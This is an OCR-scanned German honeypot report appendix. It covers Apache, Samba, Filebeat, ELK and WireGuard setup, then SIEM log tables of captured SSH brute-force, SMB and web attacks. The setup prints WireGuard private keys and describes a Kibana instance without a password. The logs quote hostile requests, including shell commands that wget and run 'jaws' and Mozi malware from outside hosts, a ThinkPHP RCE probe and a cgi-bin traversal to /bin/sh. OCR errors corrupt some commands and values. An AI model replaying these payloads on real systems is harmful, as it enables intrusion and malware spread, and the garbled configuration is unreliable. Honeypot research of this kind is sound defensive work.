Einrichten eines Apache-Webservices zur Steigerung der Attraktivitit
apt-get install apache2

service apache2 start

Einrichten eines SMB-Service zur Steigerung der Attraktivitat
apt-get install samba

service samba start
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Installation File-Beat
Quellen:

e https://www.elastic.co/guide/en/beats/filebeat/8.0/filebeat-installation-

configuration.html
e https://elk-docker.readthedocs.io

curl -L -0 https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-
7.16.3-amd64.deb

dpkg -i filebeat-7.16.3-amdé4.deb
nano /etc/filebeat/filebeat.yml

filebeat.inputs:
- type: filestream
enabled: true

paths:

/var/log/*.log

- /var/log/tripwirelog

/var/log/apache2/*.log

/var/log/syslog

/var/log/samba/*

setup.kibana:

host: "10.0.0.4:16222"
output.elasticsearch:
# Array of hosts to connect to.

hosts: ["10.0.0.4:9200"]

# Protocol - either “http™ (default) or “https’.
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protocol: "http"

# Authentication credentials - either API key or username/passwaord.
#api_key: "id:api_key"

nn

#username:

nn

#password:

-> Testen der Funktionsfihigkeit vom FileBeat

filebeat setup-e <-- zum testen

-> Fehlerlésung: Schwierigkeiten in der Verbindung von FileBeat mit Logstash und/oder
Elasticsearch, weil andere FileBeat-Version als ELK-Image benutzt!

-> FileBeat Service dauerhaft starten

service filebeat start

Hinweis: FileBeat spricht ElasticSearch direkt an. Logstash wird als Parser umgangen.

|n

Hinweis: Sichern des Honeypot Containers, wie im Kapitel “Installation von Docker”

beschrieben zur Offnung der Ports beim Angriffsstart.

Aufbau vom ElasticStack (ElasticSearch, Logstash, Kibana)

Erstellen des Containers (vordefiniertes ELK-Image mit Elasticsearch, Logstash & Kibana)
Quellen:

e https://elk-docker.readthedocs.io

-> Docker Image herunterladen
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sudo docker pull sebp/elk

-> Freischaltung 6ffentlicher Port 16222 auf der Azure VM durch Auftraggeber. Container
erstellen mit Portweiterleitung 16222 auf 5601 fiir Kibana web interface, Portweiterleitung
von 9200 fir Elasticsearch JSON interface und Portweiterleitung von 5044 flr das Logstash
Beats interface zum Empfang von Beats (z.B. von Filebeat)

sudo docker run -net elastic -p 16222:5601 -p 9200:920@ -p 5044:5044 -it -
-name elk sebp/elk

-> Fehler beim Starten vom Container insbesondere durch Elasticsearch — siehe auch
“Prerequisites” in der oben genannten Quelle:

“max > virtual memory areas vm.max_map_count [65530] is too low, increase to > at least
[262144)"

grep vm.max_map_count /etc/sysctl.confvm,max_map_count=262144

sysctl -w vm.max_map_count=262144

-> Verbinden mit http://20.126.158.152:16222/ zum Zugriff auf Kibana

Hinweis: Kein Passwort zum Zugriff auf Kibana Web Interface konfiguriert.

Aufbau eines Virtual Private Network Zugriffs
Erstellen des Containers (Wireguard VPN) zur Absicherung des Zugriffs auf Kibana

Quellen:

e https://hub.docker.com/r/linuxserver/wireguard

-> Docker Image herunterladen

sudo docker pull linuxserver/wireguard
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-> Freischaltung offentlicher Port 52420 auf der Azure VM durch Auftraggeber. Container
erstellen mit Portweiterleitung 52420 auf 51820 fiir Wireguard VPN-Verbindung zum
Container

sudo docker run -d \

--name wireguard \
--cap-add=NET_ADMIN \
--cap-add=SYS_MODULE \

-e PUID=1000 -e PGID=1000 \
-e TZ=Europe/Berlin \

-e PEERS=4\

-e PEERDNS=auto \

-p 52420:51820/udp \

-v wireguard_config:/config \
-v flib/modules:/lib/modules \
--sysctl="net.ipv4.conf.all.src_valid_mark=1"\
--restart=unless-stopped \
--net elastic \

Linuxserver/wireguard

Damit kénnen nun per cat /config/peerX/peerX.conf die erstellten Konfigurationen
zum VPN-Container ermittelt werden.

Peerl Chris
[Interface]
Address = 10.13.13.2

PrivateKey = IEQ24EzdJCwealulUni6dCLfc+WzkJzEuYjODWM18G4=

ListenPort 51820

DNS = 10.13.13.1
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[Peer]

PublicKey = Ne9eteagrA6ghragxgnwBlpfNZnzt9zeewWolL3v7XWhU=
Endpeoint = 20.126.158.152:52420

AllowedIPs = 10.0.0.4/32, 172.17.0.9/16, 172.18.06.8/16

B HHH R S R R
Peer2 Marcel

[Interface]

Address = 10.13.13.3

PrivateKey = iCOWrpBbHT28SemvqdANnY8KBEnmTcudgnChZCFrylU=
ListenPort = 51820

DNS = 10.13.13.1

[Peer]

PublicKey = Ne9etéagrAéghragxgnwBlpfNZnzt9z00WolL3v7XWhU=
Endpoint = 20.126.158.152:52420

AllowedIPs = 10.0.0.4/32, 172.17.0.9/16, 172.18.0.0/16

B T S L T S S T L S S S
Peer3 Janek

[Interface]

Address = 10.13.13.4

PrivateKey = cNGctQlSmIYc+XjHAM3FFENn/+B92t6KrcdWFA54GNXc=

ListenPort 51820

DNS = 10.13.13.1

[Peer]

PublicKey = NB90t6agrA6ghragxgnwBlpfNZnzt9z@ewWolL3v7XWhU=
Endpoint = 20.126.158.152:52420
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AllowedIPs = 10.0.0.4/32, 172.17.0.0/16, 172.18.0.0/16

B e S S T S e S S S e

Peer4 Carla

[Interface]

Address = 10.13.13.5

PrivateKey = yMPmoDEGWIFN1+LkSNXkISvHLVhZ13W0J4yAlbJ5cUQ=
ListenPort = 51820

DNS = 10.13.13.1

[Peer]

PublicKey = N@9et6agrA6gWragxgnwBlpfNZnzt9z@eWoL3v7XWhU=
Endpoint = 20.126.158.152:524290

AllowedIPs = 10.90.0.4/32, 172.17.0.9/16, 172.18.06.0/16

Die VPN-Konfigurationen mussen auf den Endpunkten in der Client-Software vom
Wireguard importiert werden.

Angriffsstart (Offnung der Ports auf dem Honeypot)

Offentlich zugéngliche Ports der Azure VM auf Ports des Honeypot Containers weiterleiten
nach Sicherung des Containers. Wiederherstellen des gesicherten Images im
Standardnetzwerk zusammen mit den gedéffneten Ports.

sudo docker run --name airit -it -p host:21 -p host:22 -p host:8@ -p
host:139 -p host:445 fantad/airit:v1.3
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ANHANG 2batensammlung undJntersuchungen

Untersuchung der Angriffe auf den
Honeypot

Angriff 0 — BRUTE FORCE & SLEEPER

Die nachfolgenden Tabellen sind nicht als abschlieRend zu betrachten und stellen nur einen
beispielhaften Auszug aus zwei Tagen des Untersuchungszeitraums dar. Alle nachfolgenden Angriffe
in den weiterfliihrenden Kapiteln sind abschlieBend und umfassend dargelegt.

Beispiele zu erfolgreichen Brute-Force Angriffen im “schlafendem Modus”

Timestamp

Log-Path

Message from SIEM

Mar 10, 2022 @ 03:39:06

/var/log/auth.log

pam_unix(sshd:session): session opened
for user root by (uid=0

Mar 10, 2022 @ 03:39:06

/var/log/auth.log

Accepted password for root from
20.101.135.144 port 46512 ssh2

Mar 10, 2022 @ 03:39:06

/var/log/auth.log

Connection from 20.101.135.144 port
46512 on 172.17.0.2 port 22

Mar 10, 2022 @ 03:39:08

/var/log/logshell/bash-
log.20220310-023906-
UTC.root@53a226292fd
d.8613.11236.log

Script started on Thu Mar 10 03:39:06
2022

Mar 11, 2022 @ 20:59:24

Jvar/log/auth.log

Accepted password for root from
95.181.161.112 port 35954 ssh2

Mar 11, 2022 @ 20:59:24

/var/log/auth.log

Address 95.181.161.112 maps to
aeried.hitleur.org, but this does not map
back to the address - POSSIBLE BREAK-IN
ATTEMPT!

Mar 11, 2022 @ 20:59:24

/var/log/auth.log

Connection from 95.181.161.112 port
35954 on 172.17.0.2 port 22

Mar 11, 2022 @ 20:59:28

/var/log/logshell/bash-
log.20220311-195919-
UTC.root@AIT-
Prod.1777.27163.log

Script started on Fri Mar 11 20:59:19
2022

Mar 11, 2022 @ 21:53:17

/var/log/auth.log

pam_unix(sshd:session): session opened
for user admin by (uid=0)

Mar 11, 2022 @ 21:53:17

/var/log/auth.log

Accepted password for admin from
194.31.98.75 port 55932 ssh2

Mar 11, 2022 @ 21:53:17

/var/log/auth.log

Connection from 194.31.98.75 port
55932 on 172.17.0.2 port 22

Mar 11, 2022 @ 21:53:18

/var/log/logshell/bash-
log.20220311-205309-
UTC.admin@AIT-
Prod.3151.25164.log

Script started on Fri Mar 11 20:53:09
2022
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Beispiele zu Brute-Force Angriffen mit Spoofing sowie einem Angriff aus den Amazon Web

Services heraus

Timestamp

Log-Path

Message from SIEM

Mar 11, 2022 @ 06:08:47

/var/log/auth.log

Connection from 3.110.27.43 port 40094 on
172.17.0.2 port 22

Mar 11, 2022 @ 06:08:47

/var/log/auth.log

Connection from 3.110.27.43 port 40088 on
172.17.0.2 port 22

Mar 11, 2022 @ 06:08:47

/var/log/auth.log

Connection from 3.110.27.43 port 40100 on
172.17.0.2 port 22

Mar 11, 2022 @ 06:08:47

/var/log/auth.log

Connection from 3.110.27.43 port 40098 on
172.17.0.2 port 22

Mar 11, 2022 @ 06:08:47

/var/log/auth.log

Connection from 3.110.27.43 port 40096 on
172.17.0.2 port 22

Mar 11, 2022 @ 06:08:47

/var/log/auth.log

Connection from 3.110.27.43 port 40092 on
172.17.0.2 port 22

Mar 11, 2022 @ 06:08:47

[var/log/auth.log

Connection from 3.110.27.43 port 40086 on
172.17.0.2 port 22

Mar 11, 2022 @ 06:08:47

/var/log/auth.log

Connection from 3.110.27.43 port 40090 on
172.17.0.2 port 22

Mar 11, 2022 @ 06:08:47

/var/log/auth.log

Connection from 3.110.27.43 port 40084 on
172.17.0.2 port 22

Mar 11, 2022 @ 06:08:47

/var/log/auth.log

Connection from 3.110.27.43 port 40082 on
172.17.0.2 port 22

Mar 11, 2022 @ 06:08:47

fvar/log/auth.log

Did not receive identification string from
3.110.27.43

Mar 11, 2022 @ 06:08:47

/var/log/auth.log

Connection from 3.110.27.43 port 40076 on
172.17.0.2 port 22

Mar 11, 2022 @ 06:08:54

/var/log/auth.log

Failed password for username from 3.110.27.43
port 40082 ssh2

Mar 11, 2022 @ 06:08:54

/var/log/auth.log

sshd[14708]: pam_unix(sshd:auth):
authentication failure; logname= uid=0 euid=0
tty=ssh ruser=rhost=ec2-3-110-27-43.ap-south-
1.compute.amazonaws.com user=root

Mar 11, 2022 @ 06:08:54

fvar/log/auth.log

pam_unix(sshd:session): session opened for
user root by (uid=0)

Mar 11, 2022 @ 06:08:54

/var/log/auth.log

Accepted password for root from 3.110.27.43
port 40086 ssh2

Mar 11, 2022 @ 06:08:54

/var/log/auth.log

sshd[14709]: pam_unix(sshd:auth):
authentication failure; logname= uid=0 euid=0
tty=ssh ruser= rhost=ec2-3-110-27-43.ap-south-
1.compute.amazonaws.com user=root

Mar 11, 2022 @ 06:08:54

/var/log/auth.log

sshd[14711]: pam_unix(sshd:auth):
authentication failure; logname= uid=0 euid=0
tty=ssh ruser= rhost=ec2-3-110-27-43.ap-south-
1.compute.amazonaws.com user=root

Mar 11, 2022 @ 06:08:54

/var/log/auth.log

sshd[14707]: pam_unix(sshd:auth):
authentication failure; logname= uid=0 euid=0
tty=ssh ruser= rhost=ec2-3-110-27-43.ap-south-
1.compute.amazonaws.com user=root

29




Mar 11, 2022 @ 06:08:54

[var/log/auth.log

sshd[14706]: pam_unix(sshd:auth):
authentication failure; logname= uid=0 euid=0
tty=ssh ruser= rhost=ec2-3-110-27-43.ap-south-
1.compute.amazonaws.com user=root

Mar 11, 2022 @ 06:08:54

/var/log/auth.log

sshd[14713]: pam_unix(sshd:auth):
authentication failure; logname= uid=0 euid=0
tty=ssh ruser= rhost=ec2-3-110-27-43.ap-south-
1.compute.amazonaws.com user=root

Mar 11, 2022 @ 06:08:54

/var/log/auth.log

sshd[14705]: pam_unix(sshd:auth):
authentication failure; logname= uid=0 euid=0
tty=ssh ruser= rhost=ec2-3-110-27-43.ap-south-
1.compute.amazonaws.com user=root

Mar 11, 2022 @ 06:08:54

/var/log/auth.log

sshd[14712]: pam_unix(sshd:auth):
authentication failure; logname= uid=0 euid=0
tty=ssh ruser= rhost=ec2-3-110-27-43.ap-south-
1l.compute.amazonaws.com user=root

Mar 11, 2022 @ 06:08:54

[var/log/auth.log

sshd[14704]: pam_unix(sshd:auth):
authentication failure; logname= uid=0 euid=0
tty=ssh ruser= rhost=ec2-3-110-27-43.ap-south-
1.compute.amazonaws.com user=username

Mar 11, 2022 @ 06:08:55

/var/log/auth.log

Failed password for root from 3.110.27.43 port
40092 ssh2

Mar 11, 2022 @ 06:08:55

fvar/log/auth.log

Failed password for root from 3.110.27.43 port
40096 ssh2

Mar 11, 2022 @ 06:08:55

/var/log/auth.log

Failed password for root from 3.110.27.43 port
40090 ssh2

Mar 11, 2022 @ 06:08:55

/var/log/auth.log

Failed password for root from 3.110.27.43 port
40100 ssh2

Mar 11, 2022 @ 06:08:55

fvar/log/auth.log

Failed password for root from 3.110.27.43 port
40084 ssh2

Mar 11, 2022 @ 06:08:55

/var/log/auth.log

Failed password for root from 3.110.27.43 port
40088 ssh2

Mar 11, 2022 @ 06:08:56

/var/log/auth.log

Connection closed by 3.110.27.43 [preauth]

Mar 11, 2022 @ 06:08:56

/var/log/auth.log

Closing connection to 3.110.27.43 port 40086

Mar 11, 2022 @ 06:08:56

/var/log/auth.log

pam_unix(sshd:session): session closed for user
root

Mar 11, 2022 @ 06:08:56

/var/log/auth.log

Connection closed by 3.110.27.43

Mar 11, 2022 @ 06:08:56

Jvar/log/auth.log

Failed password for root from 3.110.27.43 port
40098 ssh2

Mar 11, 2022 @ 06:08:56

/var/log/auth.log

Failed password for root from 3.110.27.43 port
40094 ssh2

Mar 11, 2022 @ 06:08:57

Jvar/log/auth.log

Connection closed by 3.110.27.43 [preauth]

Mar 11, 2022 @ 06:08:58

/var/log/auth.log

Connection from 3.110.27.43 port 40108 on
172.17.0.2 port 22

Mar 11, 2022 @ 06:09:13

/var/log/auth.log

Connection closed by 3.110.27.43 [preauth]

Mar 11, 2022 @ 19:00:08

fvar/log/auth.log

Connection from 222.212.99.55 port 47862 on
172.17.0.2 port 22

Mar 11, 2022 @ 19:00:11

/var/log/auth.log

Failed password for root from 222.212.99.55
port 47862 ssh2
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Mar 11, 2022 @ 19:00:14

[var/log/auth.log

pam_unix(sshd:auth): authentication failure;
logname= uid=0 euid=0 tty=ssh ruser=
rhost=222.212.99.55 user=root

Mar 11, 2022 @ 19:00:14

/var/log/auth.log

reverse mapping checking getaddrinfo for
55.99.212.222 broad.cd.sc.dynamic.163data.co
m.cn [222.212.99.55] failed - POSSIBLE BREAK-
IN ATTEMPT!

Mar 11, 2022 @ 19:00:15

fvar/log/auth.log

Connection closed by 222.212.99.55 [preauth]

Beispiele versuchter Angriffe/Scans auf den Samba-Server

Timestamp

Log-Path

Message from SIEM

Mar 10, 2022 @ 01:35:53

/var/log/samba/log.1
62.62.223.170

read_fd_with_timeout failed for client
162.62.223.170 read error =
NT_STATUS_END_OF_FILE.

Mar 10, 2022 @ 01:35:53

/var/log/samba/log.1
62.62.223.170

../source3/smbd/process.c:339(read_packe
t_remainder)

Mar 10, 2022 @ 06:10:13

/var/log/samba/log.1
60.116.22.20

read_fd_with_timeout failed for client
160.116.22.20 read error =
NT_STATUS_END_OF_FILE.

Mar 10, 2022 @ 06:10:13

/var/log/samba/log.1

../source3/smbd/process.c:339(read_packe

60.116.22.20 t_remainder)
Mar 11, 2022 @ 05:29:13 | /var/log/samba/log.1 | read_fd_with_timeout failed for client
60.116.22.22 160.116.22.22 read error =

NT_STATUS_END_OF_FILE.

Mar 11, 2022 @ 05:29:13

/var/log/samba/log.1

../source3/smbd/process.c:339(read_packe

60.116.22.22 t_remainder)
Mar 11, 2022 @ 05:35:18 | /var/log/samba/log.1 | smb2_validate_sequence_number: bad
60.116.22.22 message_id 1 (sequence id 1) (granted = 1,

low =0, range = 1)

Mar 11, 2022 @ 05:35:18

/var/log/samba/log.1
60.116.22.22

../source3/smbd/smb2_server.c:619(smb2_
validate_sequence_number)

Mar 11, 2022 @ 21:43:32

[var/log/auth.log

smbd: pam_unix(samba:session): session
closed for user nobody

Mar 11, 2022 @ 23:22:40 | /var/log/samba/log.2 | read_fd_with_timeout failed for client
00.53.221.82 0.0.0.0 read error =
NT_STATUS_CONNECTION_RESET.
Mar 11, 2022 @ 23:22:40 | /var/log/samba/log.2 | ../source3/smbd/process.c:339(read_packe
00.53.221.82 t_remainder)
Mar 11, 2022 @ 23:25:45 | /var/log/samba/log.2 | read_fd_with_timeout failed for client
00.53.221.82 0.0.0.0 read error =

NT_STATUS_CONNECTION_RESET.

Mar 11, 2022 @ 23:25:45

Jvar/log/samba/log.2
00.53.221.82

../source3/smbd/process.c:339(read_packe
t_remainder)
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Beispiele versuchter Angriffe/Scans auf den Apache Webserver

Timestamp Log-Path Message from SIEM
Mar 10, 2022 @ 05:58:26 | /var/log/apache2/ | 192.237.187.219 - "GET /shell?cd+/tmp;rm+-
access.log rf+*;wget+209.141.59.94/jaws;sh+/tmp/jaws
HTTP/1.1" 404 493 "-" "Hello, world"
Mar 10, 2022 @ 13:05:10 | /var/log/apache2/ | 45.146.165.37 - "GET
access.log Jindex.php?s=/Index/\\think\\app/invokefunct
ion&function=call_user_func_array&vars[0]=m
d5&vars[1][]=HelloThinkPHP21 HTTP/1.1" 404
465 "-" "Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/78.0.3904.108 Safari/537.36"
Mar 10, 2022 @ 14:01:50 | /var/log/apache2/ | 45.146.165.37 - "GET
access.log /?XDEBUG_SESSION_START=phpstorm
HTTP/1.1" 200 3557 "-" "Mozilla/5.0 (Windows
NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/78.0.3904.108
Safari/537.36"
Mar 10, 2022 @ 14:56:24 | /var/log/apache2/ | 203.115.85.22 - "GET /shell?cd+/tmp;rm+-
access.log rf+*;wget+http://203.115.85.22:34813/Mozi.a
;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
HTTP/1.1" 404 498 "-" "Hello, world"
Mar 10, 2022 @ 15:30:25 | /var/log/apache2/ | 82.51.159.158 - "GET
access.log /administrator/admin/index.php?lang=en
HTTP/1.1" 404 466 "-" "Mozilla/5.0 (Windows
NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/93.0.4577.82
Safari/537.36"
Mar 10, 2022 @ 15:30:25 /var/log/apache2/ | 82.51.159.158 - "GET
access.log /database/index.php?lang=en HTTP/1.1" 404
455 "-" "Mozilla/5.0 (Windows NT 10.0; Win6é4;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/93.0.4577.82 Safari/537.36"
Mar 10, 2022 @ 15:30:25 | /var/log/apache2/ | 82.51.159.158 - "GET /pma/index.php?lang=en
access.log HTTP/1.1" 404 450 "-" "Mozilla/5.0 (Windows
NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/93.0.4577.82
Safari/537.36"
Mar 10, 2022 @ 15:30:25 | /var/log/apache2/ | 82.51.159.158 - "GET
access.log /phpMyAdmin4/index.php?lang=en HTTP/1.1"
404 458 "-" "Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/93.0.4577.82 Safari/537.36"
Mar 10, 2022 @ 15:30:25 [var/log/apache2/ | 82.51.159.158 - "GET
access.log /sql/phpmyadmin3/index.php?lang=en

HTTP/1.1" 404 462 "-" "Mozilla/5.0 (Windows
NT 10.0; Win6é4; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/93.0.4577.82
Safari/537.36"

32




Mar 10, 2022 @ 15:30:25

/[var/log/apache2/
access.log

82.51.159.158 - "GET
/phpmy/index.php?lang=en HTTP/1.1" 404
452 "-" "Mozilla/5.0 (Windows NT 10.0; Winé4;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/93.0.4577.82 Safari/537.36"

Mar 10, 2022 @ 15:30:25

/[var/log/apache2/
access.log

82.51.159.158 - "GET
/pma2015/index.php?lang=en HTTP/1.1" 404
454 "-" "Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/93.0.4577.82 Safari/537.36"

Mar 10, 2022 @ 15:30:25

/var/log/apache2/
access.log

82.51.159.158 - "GET
/sqlmanager/index.php?lang=en HTTP/1.1"
404 457 "-" "Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/93.0.4577.82 Safari/537.36"

Mar 10, 2022 @ 15:30:25

fvar/log/apache2/
access.log

82.51.159.158 - "GET
/db/phpmyadmin/index.php?lang=en
HTTP/1.1" 404 460 "-" "Mozilla/5.0 (Windows
NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/93.0.4577.82
Safari/537.36"

Mar 10, 2022 @ 15:30:25

/var/log/apache2/
access.log

82.51.159.158 - "GET
/sql/phpMyAdmin2/index.php?lang=en
HTTP/1.1" 404 462 "-" "Mozilla/5.0 (Windows
NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/93.0.4577.82
Safari/537.36"

Mar 10, 2022 @ 15:30:25

/var/log/apache2/
access.log

82.51.159.158 - "GET
/PMA2018/index.php?lang=en HTTP/1.1" 404
454 "-" "Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/93.0.4577.82 Safari/537.36"

Mar 10, 2022 @ 15:30:25

/var/log/apache2/
access.log

82.51.159.158 - "GET
/phpmyadmin2014/index.php?lang=en
HTTP/1.1" 404 461 "-" "Mozilla/5.0 (Windows
NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/93.0.4577.82
Safari/537.36"

Mar 10, 2022 @ 15:30:25

/var/log/apache2/
access.log

82.51.159.158 - "GET
/PMA/index.php?lang=en HTTP/1.1" 404 450
""" "Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/93.0.4577.82 Safari/537.36"

Mar 10, 2022 @ 15:30:25

/var/log/apache2/
access.log

82.51.159.158 - "GET
/sql/sqlweb/index.php?lang=en HTTP/1.1" 404
457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTMIL, like Gecko)
Chrome/93.0.4577.82 Safari/537.36"

Mar 10, 2022 @ 15:30:25

/var/log/apache2/
access.log

82.51.159.158 - "GET
/mysqgl/admin/index.php?lang=en HTTP/1.1"
404 458 "-" "Mozilla/5.0 (Windows NT 10.0;
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Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/93.0.4577.82 Safari/537.36"

Mar 10, 2022 @ 15:30:25

/[var/log/apache2/
access.log

82.51.159.158 - "GET
/mysql/pma/index.php?lang=en HTTP/1.1"
404 456 "-" "Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/93.0.4577.82 Safari/537.36"

Mar 10, 2022 @ 15:30:25

/var/log/apache2/
access.log

82.51.159.158 - "GET
/admin/sysadmin/index.php?lang=en
HTTP/1.1" 404 461 "-" "Mozilla/5.0 (Windows
NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/93.0.4577.82
Safari/537.36"

Mar 10, 2022 @ 15:30:25

/var/log/apache2/
access.log

82.51.159.158 - "GET
/phpmyadmin2/index.php?lang=en HTTP/1.1"
404 458 "-" "Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/93.0.4577.82 Safari/537.36"

Mar 10, 2022 @ 15:30:25

/var/log/apache2/
access.log

82.51.159.158 - "GET
/PMA2016/index.php?lang=en HTTP/1.1" 404
454 "-" "Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/93.0.4577.82 Safari/537.36"

Mar 10, 2022 @ 15:30:25

[var/log/apache2/
access.log

82.51.159.158 - "GET
/sql/phpmyadmin5/index.php?lang=en
HTTP/1.1" 404 462 "-" "Mozilla/5.0 (Windows
NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/93.0.4577.82
Safari/537.36"

Mar 10, 2022 @ 15:30:25

/[var/log/apache2/
access.log

82.51.159.158 - "GET
/pma2014/index.php?lang=en HTTP/1.1" 404
454 "-" "Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/93.0.4577.82 Safari/537.36"

Mar 10, 2022 @ 15:30:25

[var/log/apache2/
access.log

82.51.159.158 - "GET /phpMyAdmin-
5/index.php?lang=en HTTP/1.1" 404 459 "-"
"Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/93.0.4577.82 Safari/537.36"

Mar 10, 2022 @ 15:30:25

/var/log/apache2/
access.log

82.51.159.158 - "GET
/phpMyAdmin1/index.php?lang=en HTTP/1.1"
404 458 "-" "Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/93.0.4577.82 Safari/537.36"

Mar 10, 2022 @ 15:30:25

/var/log/apache2/
access.log

82.51.159.158 - "GET
/MyAdmin/index.php?lang=en HTTP/1.1" 404
454 "-" "Mozilla/5.0 (Windows NT 10.0; Winé4;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/93.0.4577.82 Safari/537.36"

Mar 10, 2022 @ 15:30:25

/var/log/apache2/
access.log

82.51.159.158 - "GET
/pma2019/index.php?lang=en HTTP/1.1" 404
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454 "-" "Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/93.0.4577.82 Safari/537.36"

Mar 10, 2022 @ 15:30:25 | /var/log/apache2/ | 82.51.159.158 - "GET /phpmy-
access.log admin/index.php?lang=en HTTP/1.1" 404 458
"-" "Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/93.0.4577.82 Safari/537.36"
Mar 10, 2022 @ 15:30:25 | /var/log/apache2/ | 82.51.159.158 - "GET
access.log /phpmyadmin2021/index.php?lang=en
HTTP/1.1" 404 461 "-" "Mozilla/5.0 (Windows
NT 10.0; Win64; x64) AppleWebkKit/537.36
(KHTML, like Gecko) Chrome/93.0.4577.82
Safari/537.36"
Mar 10, 2022 @ 15:30:25 | /var/log/apache2/ | 82.51.159.158 - "GET /sql/phpmy-
access.log admin/index.php?lang=en HTTP/1.1" 404 462
"-" "Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/93.0.4577.82 Safari/537.36"
Mar 10, 2022 @ 15:30:25 | /var/log/apache2/ | 82.51.159.158 - "GET
access.log /pma2016/index.php?lang=en HTTP/1.1" 404
454 "-" "Mozilla/5.0 (Windows NT 10.0; Win6é4;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/93.0.4577.82 Safari/537.36"
Mar 10, 2022 @ 15:30:25 | /var/log/apache2/ | + Abfrage weiterer DB-Websites...
access.log
Mar 10, 2022 @ 16:15:55 /var/log/apache2/ | 38.88.252.189 - "GET /HTTP/1.0" 20011783 "-
access.log " "masscan/1.3
(https://github.com/robertdavidgraham/mass
can)"
Mar 10, 2022 @ 16:51:56 | /var/log/apache2/ | 45.146.165.37 - "POST /cgi-
access.log bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1"
400 486 "-" "Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/78.0.3904.108 Safari/537.36"
Mar 10, 2022 @ 16:52:02 | /var/log/apache2/ | [core:error] [pid 67:tid 140692785424128]
error.log [client 45.146.165.37:35626] AH00126: Invalid
URIin request POST /cgi-
bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Mar 10, 2022 @ 20:59:54 | /var/log/apache2/ | 209.17.96.18 - "GET / HTTP/1.1" 200 11764 "-"
access.log "Mozilla/5.0 (compatible; Nimbostratus-
Bot/v1.3.2; http://cloudsystemnetworks.com)"
Mar 10, 2022 @ 23:56:34 | /var/log/apache2/ | 27.215.49.59 - "GET
access.log /boaform/admin/formLogin?username=admini
sp&psd=adminisp HTTP/1.0" 404 475 "-" "-"
Mar 11,2022 @ 08:31:51 | /var/log/apache2/ | 162.142.125.7 - "PRI * HTTP/2.0" 4000 "-" "-"
access.log
Mar 11, 2022 @ 08:31:51 /var/log/apache2/ | 162.142.125.7 - "GET / HTTP/1.1" 200 3538 "-"
access.log "Mozilla/5.0 (compatible; CensysInspect/1.1;

+https://about.censys.io/)"
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Mar 11, 2022 @ 08:31:51 | /var/log/apache2/ | 162.142.125.7 - "GET / HTTP/1.1" 200 11764 "-
access.log "
Mar 11, 2022 @ 11:20:29 [var/log/apache2/ | 92.60.40.249 - "GET / HTTP/1.1" 200 11764 "-"
access.log "curl/7.77.0"
Mar 11, 2022 @ 11:22:14 | /var/log/apache2/ | [core:error] [pid 69:tid 139906118534912]
error.log [client 92.60.40.249:57989] AH00135: Invalid
method in request VKUU / HTTP/1.1
Mar 11, 2022 @ 11:22:14 /var/log/apache2/ | 92.60.40.249 - "GET / HTTP/1.0" 200 11783 "-"
access.log "
Mar 11, 2022 @ 11:22:14 /[var/log/apache2/ | 92.60.40.249 - "GET / HTTP/1.1" 20011783 "-"
access.log "Mozilla/5.0 (compatible; Nmap Scripting
Engine; https://nmap.org/book/nse.html)"
Mar 11, 2022 @ 11:22:14 /var/log/apache2/ | 92.60.40.249 - "OPTIONS / HTTP/1.1" 200 180
access.log "-" "Mozilla/5.0 (compatible; Nmap Scripting
Engine; https://nmap.org/book/nse.html)"
Mar 11, 2022 @ 11:22:14 | /var/log/apache2/ | 92.60.40.249 - "GET /evox/about HTTP/1.1"
access.log 404 466 "-" "Mozilla/5.0 (compatible; Nmap
Scripting Engine;
https://nmap.org/book/nse.html)"
